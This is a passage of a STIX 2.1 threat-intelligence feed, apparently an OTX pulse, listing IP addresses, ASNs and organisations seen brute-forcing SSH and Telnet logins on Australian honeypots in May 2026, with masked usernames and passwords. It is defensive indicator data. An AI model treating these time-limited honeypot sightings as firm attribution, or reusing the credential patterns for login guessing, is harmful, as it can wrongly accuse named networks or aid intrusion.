      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 72. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********8, H**********************3.",
      "id": "indicator--875c803f-61cb-4acd-ba36-369fd5ab3ee3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '35.241.214.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T05:15:11.000Z",
      "valid_until": "2026-06-03T05:15:08.000Z"
    },
    {
      "created": "2026-05-02T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 273155. Organisation(s): DATANET VZLA 2021, C.A.",
      "id": "indicator--e66d8be9-a773-4b1d-9348-89c769ff3676",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.137.178.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T05:15:11.000Z",
      "valid_until": "2026-06-03T05:15:08.000Z"
    },
    {
      "created": "2026-05-02T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 268163. Organisation(s): OBALINK LTDA.",
      "id": "indicator--d7025332-9890-4856-bd45-57b6ef562394",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.170.158.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T05:15:11.000Z",
      "valid_until": "2026-06-03T05:15:08.000Z"
    },
    {
      "created": "2026-05-02T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 1043. Sensors involved: Cowrie. Target ports: 23. Source country: CL. ASN(s): 263702. Organisation(s): GRUPO ZGH SPA.",
      "id": "indicator--a0762ba7-729d-4436-ae91-2ea2c4a27170",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.225.92.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T05:15:11.000Z",
      "valid_until": "2026-06-03T05:15:08.000Z"
    },
    {
      "created": "2026-05-02T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited.",
      "id": "indicator--23134395-1a4a-411a-8850-3cff2d1484b7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '49.47.8.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T05:15:11.000Z",
      "valid_until": "2026-06-03T05:15:08.000Z"
    },
    {
      "created": "2026-05-02T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Heralding. Target ports: 5432. Source country: GB. ASN(s): 401626. Organisation(s): Netiface America, Inc.. Usernames observed (masked): p******s. Passwords observed (masked): 1****6, p******d, p******s.",
      "id": "indicator--d2cc555d-a3a1-4c12-a284-d1b4bd25d619",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.89.163.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T05:15:11.000Z",
      "valid_until": "2026-06-03T05:15:08.000Z"
    },
    {
      "created": "2026-05-02T06:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 9498. Organisation(s): BHARTI Airtel Ltd.. Usernames observed (masked): r**t, a***n, o******i. Passwords observed (masked): *, a***n, o******i, p******d.",
      "id": "indicator--c45565df-cff0-4b89-83c1-6fa56de6b386",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '125.20.210.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T06:15:10.000Z",
      "valid_until": "2026-06-03T06:15:08.000Z"
    },
    {
      "created": "2026-05-02T06:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 5056. Organisation(s): Aureon Network Services.",
      "id": "indicator--921e7f4c-af80-4cfc-9a73-a5d9f529182f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '173.215.45.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T06:15:10.000Z",
      "valid_until": "2026-06-03T06:15:08.000Z"
    },
    {
      "created": "2026-05-02T06:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PA. ASN(s): 265867. Organisation(s): Trans Ocean Network.",
      "id": "indicator--247248f8-c9e4-497a-bcf5-c6aee515bddb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '179.61.231.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T06:15:10.000Z",
      "valid_until": "2026-06-03T06:15:08.000Z"
    },
    {
      "created": "2026-05-02T06:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--669345a2-8ce2-44e5-8b32-f5409d94b395",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.226.13.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T06:15:10.000Z",
      "valid_until": "2026-06-03T06:15:08.000Z"
    },
    {
      "created": "2026-05-02T06:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 912. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 36352. Organisation(s): HostPapa.",
      "id": "indicator--37c1a207-4548-4987-8fa8-4be412724428",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.23.198.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T06:15:10.000Z",
      "valid_until": "2026-06-03T06:15:08.000Z"
    },
    {
      "created": "2026-05-02T06:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 125. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CH. ASN(s): 402253. Organisation(s): SKN Subnet & Telecom Ltd. Usernames observed (masked): u****u, r**t, 3**********4, a***n, p****r. Passwords observed (masked): !**********y, 2******0, 2******z, 3***********4, 3**********4.",
      "id": "indicator--8e1afb5c-a801-4405-9b62-ae24559192c7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '209.99.189.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T06:15:10.000Z",
      "valid_until": "2026-06-03T06:15:08.000Z"
    },
    {
      "created": "2026-05-02T06:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 47. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--c339cd37-f100-4023-95d1-3a1876c96692",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.62.148.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T06:15:10.000Z",
      "valid_until": "2026-06-03T06:15:08.000Z"
    },
    {
      "created": "2026-05-02T06:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n, p******d.",
      "id": "indicator--5bd63c6c-84b4-4b24-8fc4-cdfa6ef1b443",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '35.195.148.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T06:15:10.000Z",
      "valid_until": "2026-06-03T06:15:08.000Z"
    },
    {
      "created": "2026-05-02T06:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 577. Organisation(s): Bell Canada.",
      "id": "indicator--71ac8d8b-f2e0-44a4-a280-5719b25a625b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '76.65.159.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T06:15:10.000Z",
      "valid_until": "2026-06-03T06:15:08.000Z"
    },
    {
      "created": "2026-05-02T06:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--6c3663ce-c97b-485d-bf1f-9ba49cf418a1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '8.222.236.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T06:15:10.000Z",
      "valid_until": "2026-06-03T06:15:08.000Z"
    },
    {
      "created": "2026-05-02T07:15:26.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 190. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 141892. Organisation(s): CV Andhika Pratama Sanggoro. Usernames observed (masked): r**t, 3**********4, a******3, u**r. Passwords observed (masked): 1****0, 1******1, 1*********z, 1*******a, 1*******a.",
      "id": "indicator--c0c261e8-7a52-444c-88f4-3eefa1c1b5e7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T07:15:26.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.186.31.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T07:15:26.000Z",
      "valid_until": "2026-06-03T07:15:08.000Z"
    },
    {
      "created": "2026-05-02T07:15:26.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 182. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 13768. Organisation(s): Aptum Technologies.",
      "id": "indicator--969513f1-6261-40d8-b812-1a389482bc77",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T07:15:26.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '107.6.54.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T07:15:26.000Z",
      "valid_until": "2026-06-03T07:15:08.000Z"
    },
    {
      "created": "2026-05-02T07:15:26.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd.",
      "id": "indicator--1b680889-4778-46f5-93be-3ed2e98c915a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T07:15:26.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '2.57.122.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T07:15:26.000Z",
      "valid_until": "2026-06-03T07:15:08.000Z"
    },
    {
      "created": "2026-05-02T07:15:26.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 46. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--3060cc5e-3f23-4f43-ac22-19daa5d80e2c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T07:15:26.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '20.84.146.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T07:15:26.000Z",
      "valid_until": "2026-06-03T07:15:08.000Z"
    },
    {
      "created": "2026-05-02T07:15:26.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 1332. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 29802. Organisation(s): HIVELOCITY, Inc..",
      "id": "indicator--e512d9bb-74a7-432c-a849-6b150853b2eb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T07:15:26.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '23.111.140.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T07:15:26.000Z",
      "valid_until": "2026-06-03T07:15:08.000Z"
    },
    {
      "created": "2026-05-02T07:15:26.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 15. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): r**t. Passwords observed (masked): , r**t.",
      "id": "indicator--b97617d6-6588-4d2d-8fdf-f282e994f712",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T07:15:26.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.153.34.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T07:15:26.000Z",
      "valid_until": "2026-06-03T07:15:08.000Z"
    },
    {
      "created": "2026-05-02T07:15:26.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 251. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 24309. Organisation(s): Atria Convergence Technologies Pvt. Ltd. Broadband Internet Service Provider INDIA. Usernames observed (masked): r**t, u****u, d****y, f*****r, m*******t. Passwords observed (masked): !******x, ***, 1**4, 1*********c, 1******x.",
      "id": "indicator--9b358dfd-86c3-4182-9db8-74ee70b5d2b6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T07:15:26.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '49.204.74.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T07:15:26.000Z",
      "valid_until": "2026-06-03T07:15:08.000Z"
    },
    {
      "created": "2026-05-02T07:15:26.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 57. Sensors involved: Cowrie. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--39a45b45-38c2-4098-9098-ca15ab59db1e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T07:15:26.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '51.68.207.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T07:15:26.000Z",
      "valid_until": "2026-06-03T07:15:08.000Z"
    },
    {
      "created": "2026-05-02T07:15:26.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 10439. Organisation(s): CariNet, Inc..",
      "id": "indicator--68ebda31-294a-4189-a0e4-4a32f4e72040",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T07:15:26.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.240.236.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T07:15:26.000Z",
      "valid_until": "2026-06-03T07:15:08.000Z"
    },
    {
      "created": "2026-05-02T07:15:26.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 82. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 2**2, 3***********4, 3**********4, m*******y.",
      "id": "indicator--e19d8013-0e33-40a9-bd06-a5b9a2fa7050",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T07:15:26.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '98.70.48.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T07:15:26.000Z",
      "valid_until": "2026-06-03T07:15:08.000Z"
    },
    {
      "created": "2026-05-02T08:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 38266. Organisation(s): Vodafone Idea Ltd.",
      "id": "indicator--cb571aec-6c44-468b-af9e-7a4c043073d4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T08:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '1.39.157.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T08:15:09.000Z",
      "valid_until": "2026-06-03T08:15:08.000Z"
    },
    {
      "created": "2026-05-02T08:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 49. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 142647. Organisation(s): Nasstec Airnet Networks Private Limited.",
      "id": "indicator--d4057e7f-7d2b-42c2-ae65-4fa49cdb5d08",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T08:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.173.7.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T08:15:09.000Z",
      "valid_until": "2026-06-03T08:15:08.000Z"
    },
    {
      "created": "2026-05-02T08:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--3bb080af-579f-4937-b0c4-585dcb39b965",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T08:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.5.152.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T08:15:09.000Z",
      "valid_until": "2026-06-03T08:15:08.000Z"
    },
    {
      "created": "2026-05-02T08:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone. Usernames observed (masked): *, ***. Passwords observed (masked): , *.",
      "id": "indicator--589ea1f1-b9b0-443d-bedb-1009eaa11046",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T08:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '124.164.251.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T08:15:09.000Z",
      "valid_until": "2026-06-03T08:15:08.000Z"
    },
    {
      "created": "2026-05-02T08:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 135607. Organisation(s): Infinivan Incorporated.",
      "id": "indicator--72416df7-cc4c-48c9-9946-b5732de0a851",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T08:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '126.209.50.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T08:15:09.000Z",
      "valid_until": "2026-06-03T08:15:08.000Z"
    },
    {
      "created": "2026-05-02T08:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DO. ASN(s): 271804. Organisation(s): CABLEMAX C.X.A.",
      "id": "indicator--3ecaa271-022e-4ee9-ae5c-f0ad795f02bd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T08:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '138.36.27.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T08:15:09.000Z",
      "valid_until": "2026-06-03T08:15:08.000Z"
    },
    {
      "created": "2026-05-02T08:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 31898. Organisation(s): Oracle Corporation.",
      "id": "indicator--ba5887fe-bb13-4414-85ce-02440824962a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T08:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '150.136.243.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T08:15:09.000Z",
      "valid_until": "2026-06-03T08:15:08.000Z"
    },
    {
      "created": "2026-05-02T08:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 42. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 50923. Organisation(s): Metroset.",
      "id": "indicator--60de3ce7-87ea-4473-a6f2-a3d478ca17a0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T08:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '178.208.239.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T08:15:09.000Z",
      "valid_until": "2026-06-03T08:15:08.000Z"
    },
    {
      "created": "2026-05-02T08:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 12389. Organisation(s): Rostelecom.",
      "id": "indicator--4c9b1cbe-12e5-45e3-b2d7-a89570047e81",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T08:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '213.135.137.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T08:15:09.000Z",
      "valid_until": "2026-06-03T08:15:08.000Z"
    },
    {
      "created": "2026-05-02T08:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services.",
      "id": "indicator--4d4463c1-c81a-4ea8-844d-4a8ebe6ce12c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T08:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.233.83.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
